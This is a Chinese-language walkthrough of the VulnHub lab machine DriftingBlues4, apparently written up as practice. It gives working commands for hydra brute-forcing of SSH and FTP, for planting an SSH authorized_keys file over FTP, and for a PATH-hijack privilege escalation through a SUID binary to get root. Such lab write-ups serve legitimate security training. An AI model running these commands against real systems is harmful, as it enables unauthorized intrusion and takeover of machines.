一、介绍
运行环境：Virtualbox
攻击机：kali（10.0.2.15）
靶机：driftingblues4（10.0.2.20）
目标：获取靶机root权限和flag
靶机下载地址：https://www.vulnhub.com/entry/driftingblues-4,661/
二、信息收集
使用nmap主机发现靶机ip：10.0.2.20
使用nmap端口扫描发现靶机开放端口：21、22、80
打开网站没有可利用的功能点，并且使用dirsearch爆破目录也没爆破出来，查看源码，发现使用base64算法加密的隐藏数据
最终经过解码得到：/imfuckingmad.txt
访问该路径，得到一串使用Brainfuck加密的数据
解密得到：man we are a tech company and still getting hacked??? what the shit??? enough is enough!!! ###### /iTiS3Cr3TbiTCh.png
访问/iTiS3Cr3TbiTCh.png，发现图片是一个二维码，使用QR_Research工具识别得到一个网站，但无法访问，需要科学上网
得到一些用户名，将这些用户名构造字典，尝试使用hydra工具对ssh和ftp进行暴力破解
luther
gary
Hubert
clark
三、漏洞利用
#爆破ssh
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 10.0.2.20 ssh
#爆破ftp
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 10.0.2.20 ftp -t 64
爆破ssh失败提示不支持密码验证
爆破ftp成功得到用户名密码：luther/mypics
登录ftp，查看有什么可以利用的文件，发现sync_log文件和hubert文件夹
下载sync_log查看，是一个日志文件无法利用；而hubert文件夹是一个空文件夹
额，暂时没有思路了，瞄了一眼大佬的wp
hubert的uid与其他不一样是1001，这可能是一个用户文件夹，正好之前的用户字典里有一个Hubert，可以尝试上传ssh公钥获取shell
在本地创建ssh公钥和私钥对，将公钥文件另存为 authorized_keys
cat id_rsa.pub > authorized_keys
将authorized_keys文件上传到/hubert/.ssh目录下，使用创建的私钥登录ssh
靶机执行
cd hubert
mkdir .ssh
cd .ssh
put authorized_keys
攻击机执行
chmod 600 id_rsa
ssh -i id_rsa hubert@10.0.2.20
四、提权
使用sudo -l命令查看有什么特权命令，发现没有
使用find / -perm -u=s -type f 2>/dev/null命令查看有什么可利用的具有root权限的文件，发现可疑文件/usr/bin/getinfo
执行该文件，发现该文件调用了命令ip，可以通过替换ip命令进行提权
替换ip命令，再执行/usr/bin/getinfo获取root权限
cd /tmp
echo '/bin/bash' > ip
chmod +x ip
export PATH=/tmp:$PATH
获取flag
参考链接：靶机渗透练习04-driftingblues4_driftingblues: 4-CSDN博客
